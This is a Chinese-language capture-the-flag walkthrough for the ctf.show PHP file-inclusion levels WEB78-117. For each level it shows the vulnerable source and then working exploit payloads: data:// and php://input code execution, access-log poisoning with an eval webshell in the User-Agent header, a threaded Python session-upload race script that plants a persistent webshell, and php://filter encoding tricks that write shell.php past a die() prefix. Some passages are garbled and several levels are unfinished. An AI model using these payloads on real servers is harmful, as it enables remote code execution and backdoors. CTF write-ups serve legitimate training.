Ctf-Show-WEB文件包含专题

文件包含(WEB78-117)

WEB 78

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

法1:
关键部分为include 这里的$file 可由get传参控制,由于没有过滤所以这里方法较多。
使用data协议可以很直观有条理的获得flag

?file=data://text/plain,<?php system('ls');?> 可以获取当前目录文件发现有一个flag.php
?file=data://text/plain,<?php system('tac flag.php');?> 即可读取flag.php的中的内容。

法2:
先尝试 ?file=…/…/flag.php 结果提示文件不能包含。
再尝试 ?file=flag.php 结果 就什么也不显示(至少包含文件 已经成功),说明,有flag.php
这时,可使用?file=php://filter/read=convert.base64-encode/resource=flag.php
这时,显示出来一段base64代码 进行解码后。发现其中一段:

$flag="ctfshow{6601f516-c571-468b-8c49-611a1f194f84}";

原来flag.php只是赋了一个值 ,怪不得包含以后,页面什么也不显示。
至此,已获得flag

WEB 79

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

方法1:
本关对传入的参数进行过滤,过滤掉了php但是不影响使用上一关的方法。经历过命令执行题目的折磨轻松可以绕过。
?file=data://text/plain,<?=system('ls');?> 可以获取当前目录文件发现有一个flag.php
?file=data://text/plain,<?=system('tac flag*');?> 即可读取flag.php的中的内容。

方法2:
增加了 str_replace 函数 将 “php” 替换为 “???”
法一:input协议 大小写绕过
payload:
POST /?file=Php://input HTTP/1.1

<?Php system("ls");?>

POST /?file=Php://input HTTP/1.1

<?Php system("cat flag.php");?>

#仅需在请求行 大写即可

法二: data协议 + 利用php性质绕过
payload:
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw== # <?php phpinfo(); ?file=data://text/plain,<?= `tac f*`;?>
?file=data://text/plain,<?Php echo `tac f*`;?> # 可以无 ;

<?php ?> :php默认的开始、结束标签 <? ?> :需要开启short_open_tag ,即short_open_tag = On。 <%%> :需要开启asp_tags ,即asp_tags = On。 <?= ?> :用于输出,等同于- 可以直接使用 <%= %> :用于输出,等同于- ,需要开启asp_tags ,才可以使用 short_open_tag控制的是<? ?>标签。而并非<?= ?>标签,<?= ?>标签用于输出变量。当开启short_open_tag,<? ?> 功能和<?php ?> 一样。 php中代码开始标志类型(,,,<% %>,<%= %>)
法三:data协议 base64 加密 payload: /?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw== # <?php system('ls'); /?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= # <?php system('cat flag.php');
$flag="ctfshow{215c725c-f7c4-4a46-ade0-9ca97ff4245f}";

WEB 80

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

法1:
本关过滤了php和data应该是不允许使用伪协议,但是可以正常包含,采用包含日志文件的方式。

日志文件中包含了 url以及ua信息等,这里ua最容易控制,抓包改ua,写入一句话即可。如下第三行

GET /?file=/var/log/nginx/access.log HTTP/1.1
Host: 4e9bb3c0-1021-427e-81a3-42e5e6e13c39.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0<?php eval($_GET[2]);?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: UM_distinctid=17ffcdc88eb73a-022664ffe42c5b8-13676d4a-1fa400-17ffcdc88ec82c
Connection: close
可以直接命令执行即可也可以用webshell后门工具连接

?file=/var/log/nginx/access.log&2=system(‘ls /var/www/html’);phpinfo();

?file=/var/log/nginx/access.log&2=system(‘tac /var/www/html/fl0g.php’);phpinfo();

寻找PHPinfo信息前面的那一段信息即可找到

法2:
对于php 和data 已经被过滤掉了,所以都不能用, 但是用POST 的方法,还能用,为了不被过滤,php://input 改成PHP://input GET 方法改为POST方法 最后添加一行,内容是需要包含的php代码 。这里目的 是为了执行 第一次,执行为:

POST /?file=PHP://input HTTP/1.1

Host: c3eaec6b-ca02-47ac-9577-2d884543b828.challenge.ctf.show User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 39

#《? php system(‘ls *.php’);?》 (是小尖括号哦)

结果 显示 有2个文件 ,一是fl0g.php 另一个是index.php 再来一次,这次直接显示 fl0g.php

POST /?file=PHP://input HTTP/1.1

Host: c3eaec6b-ca02-47ac-9577-2d884543b828.challenge.ctf.show User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 39

#《?php system(‘tac fl0g.php’);?》 是小尖括号哦

这时可显示出fl0g.php 的内容 了。 有一行。 $flag=“ctfshow{13337e9c-4986-40c9-ae31-f44bcc68e9a1}”; 即获得flag

$flag="ctfshow{13337e9c-4986-40c9-ae31-f44bcc68e9a1}"; 

WEB 81

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

法1:
在php和data 还有php://input 失效的情况下 还可以有日志信息。 在url 后加入日志文件 url?file=/var/log/nginx/access.log

页面上直接包含了访问日志信息。 然后,加将其发送至repeater中, 第一次 将User-Agent的值 改为:《?php system(‘ls’);?》 (此处是小尖括号哦) 发送2次,将得到: 172.12.0.6 - - [04/Apr/2023:14:43:42 +0000] "GET / HTTP/1.1" 200 2741 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0" 172.12.0.6 - - [04/Apr/2023:14:43:42 +0000] "GET /favicon.ico HTTP/1.1" 200 2741 "http://1e5d2acb-dcfa-41e3-a2c4-a2fe27b7a53d.challenge.ctf.show/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0" 172.12.0.6 - - [04/Apr/2023:14:44:10 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 399 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0" 172.12.0.6 - - [04/Apr/2023:14:46:07 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 586 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0" 172.12.0.6 - - [04/Apr/2023:14:47:11 +0000] "GET / HTTP/1.1" 200 2741 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0" 172.12.0.6 - - [04/Apr/2023:14:48:17 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 930 "-" "fl0g.php index.php
可以看到文件有两个,一为名为fl0g.php ,另一为index.php
将User-Agent的值 改为:《?php system(‘cat fl0g.php’);?》(此处是小尖括号哦) 也发送2次,将得到。
前面部分内容省略,和上面一样。
/* 。。。。。 */
$flag=“ctfshow{dd09afcc-9325-42d5-9079-e063e78d72b4}”;"
即得到flag

$flag="ctfshow{dd09afcc-9325-42d5-9079-e063e78d72b4}";"

WEB 82

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

法1:
https://www.freebuf.com/vuls/202819.html 这道题有点像wmctf的make php great again 利用session对话进行文件包含利用 https://blog.csdn.net/qq_46091464/article/details/108021053

法2:
条件竞争:https://www.freebuf.com/articles/web/275557.html session利用的小思路:https://xz.aliyun.com/t/10662

WEB 83


Warning: session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line 14
<?php
session_unset();
session_destroy();

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);

    include($file);
}else{
    highlight_file(__FILE__);
}

法1:

来自于网上的强大 脚本

import requests

import io

import threading

url = 'http://6733cf0a-5d30-4a8d-b3bf-eddcef8aaa55.challenge.ctf.show/' # 改成自己的url

sessionid = 'truthahn' # 设置PHPSESSID为truthahn,使生成的临时文件名为sess_truthahn

cookies = {

        'PHPSESSID':sessionid

    }
def write(session): # write()函数用于写入session临时文件

fileBytes = io.BytesIO(b'a'*1024*50)

data2 = {

    'PHP_SESSION_UPLOAD_PROGRESS':'<?=eval($_POST[1])?>'    # 设置sess_truthahn临时文件的内容为<?=eval($_POST[1])?> 实现一句话

}

files = {

    'file':('truthahn.jpg',fileBytes)

}

while True:    

    res = session.post(url,data=data2,cookies=cookies,files=files)

    print(res.text)

    print('======= write done! ======')
def read(session): # read()函数利用session临时文件生成一句话木马,实现rce

data1 = {

    "1":"file_put_contents('/var/www/html/4.php','<?=eval($_POST[2]);?>');"     # 使用file_put_contents()php内置函数生成名为3.php的shell文件

}

while True:

    res = session.post(url+'?file=/tmp/sess_'+sessionid,data=data1,cookies=cookies)

    print(res.text)

    res2 = session.get(url+'4.php')

    print(res2.text)

    if res2.status_code == 200:     #若3.php成功生成,则返回Done!,否则返回失败的状态码

        print('++++++++ Done! +++++++++')

    else:

        print(res2.status_code)
if name == 'main':

event = threading.Event()       

with requests.session() as session:     # 为每个函数设置5个线程并发执行

    for i in range(5):

        print('*'*50)

        threading.Thread(target=write,args=(session,)).start()

    for i in range(5):

        print('='*50)

        threading.Thread(target=read,args=(session,)).start()

event.set()
执行后,打开 url/4.php 。并POST 上

第一次

2=system('ls');

第二次

2=system('tac fl0g.php');

获得flag

法2:

#poc.php
<!DOCTYPE html>
<html>
<body>
<form action="ip地址" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

WEB 84

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    system("rm -rf /tmp/*");
    include($file);
}else{
    highlight_file(__FILE__);
}

法1:
待补充

法2:

#poc.php
<!DOCTYPE html>
<html>
<body>
<form action="ip地址" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

WEB 85

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    if(file_exists($file)){
        $content = file_get_contents($file);
        if(strpos($content, "<")>0){
            die("error");
        }
        include($file);
    }
    
}else{
    highlight_file(__FILE__);
}

法1:
待补充

法2:

#poc.php
<!DOCTYPE html>
<html>
<body>
<form action="ip地址" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

WEB 86

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 21:20:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);

    
}else{
    highlight_file(__FILE__);
}

法1:
待补充

法2:

#poc.php
<!DOCTYPE html>
<html>
<body>
<form action="ip地址" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

WEB 87

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    highlight_file(__FILE__);
}

法1:
web87解法 详解 if(isset($_GET[‘file’])){ $file = $_GET[‘file’]; (当出现post的时候,主体跟着post走) $content = $_POST[‘content’]; (这里表明了是content参数,不是php://file那个的convert) $file = str_replace(“php”, “???”, $file); $file = str_replace(“data”, “???”, $file); $file = str_replace(“:”, “???”, $file); $file = str_replace(“.”, “???”, f i l e ) ; f i l e p u t c o n t e n t s ( u r l d e c o d e ( file); file_put_contents(urldecode( file);fileputcontents(urldecode(file), “”.$content); (二次url编码,因为第一次编码过去之后自动解码(中间件自动解码),但是他这里还要解码一次,因为写函数了) (content是写入内容,要进行base64编码 对应上面的伪协议解码,而base解码时,是4个一组,flag.php(要写入的文件),写入的内容中只有phpdie会参与base64解码,因为phpdie只有6个字节,补两个a就是8字节了)(aaPD9waHAgc3lzdGVtKCdscycpOz8+)aa是补给前面的 (结果就是phpdieaaPD9waHAgc3lzdGVtKCdscycpOz8+(四个一组)) }else{ highlight_file(FILE); }

注意不一定非要用base64 ?file=php://filter/write=string.rot13/resource=5.php string.rot13 :应用 ROT13 编码(字符替换算法)。(两次加密就会把原文弄出来) file_put_contents file_put_contents函数把一个字符串写入文件中。例如file_put_contents(“sites.txt”,“Runoob”);把run写入txt file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )

“”.$content $str1 = “Hello”; $str2 = “World”; $newStr = $str1 . $str2; // 结果为 “HelloWorld”

Get和post对比

法2:
https://www.leavesongs.com/PENETRATION/php-filter-magic.html https://xz.aliyun.com/t/8163#toc-3 php://filter/write=string.rot13/resource=2.php

%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%2
5%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%
33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36
%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%3
3%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%
25%37%32%25%36%33%25%36%35%25%33%64%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30
因为通过base64过滤之后就只有(phpdie)6个字符我们就要添加2个字符让前面的可以进行编码

法3:
常规的死亡exit,用二次编码绕过替换,我的构造方法是先手动编码一次,然后再次对%进行编码,构造出来:/?file=%2570%68%70%253a//filter/write=convert%252ebase64-decode/resource=shell%252e%70%2568%70

提交内容为 ------WebKitFormBoundaryxxjx0zR0LaGW5ZOW Content-Disposition: form-data; name=“content”

ppPD9waHAgcGhwaW5mbygpO2V2YWwoJF9HRVRbJ2NtZCddKTs/Pg== 这里的pp是加上去的,凑够两字符即可,但不能用=,因为=是结尾凑倍数的,开头不能用。

WEB 88

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

法1:
发现过滤的还是比较多,但是没有过滤 : 那我们就可以使用PHP伪协议就是 这里使用的是 data://text/plain;base64,poc 其实和79差不多 只是注意的是编码成base64的时候要去掉 =

法2:
data://text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pO3BocGluZm8oKTskX0dFVDs/PjEx&cmd=system(‘tac+fl0g.php’);

主要是data协议构造base64的时候必须要求不含=和+号,多试几次构造一下,在结尾?>后添加字符消除=

WEB 116

视频

法1:
搜索PNG找到89开头的那个,再搜索IEDN直到82结束,导出png,分析源码
发现file变量可以包含,直接尝试?file=/flag.php得到flag

WEB 117

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

法1:
payload: file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php post:contents=?<hp pvela$(P_SO[T]1;)>?

法2:
正则没有过滤filter协议,仍然通过filter协议绕过死亡exit ?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php
post的contents内容 ?<hp pvela$(G_TE’[mc’d)]?;>> 多一个>是为了防止报错,>在标签外不解析
会生成shell.php,密码为cmd,可以拿到flag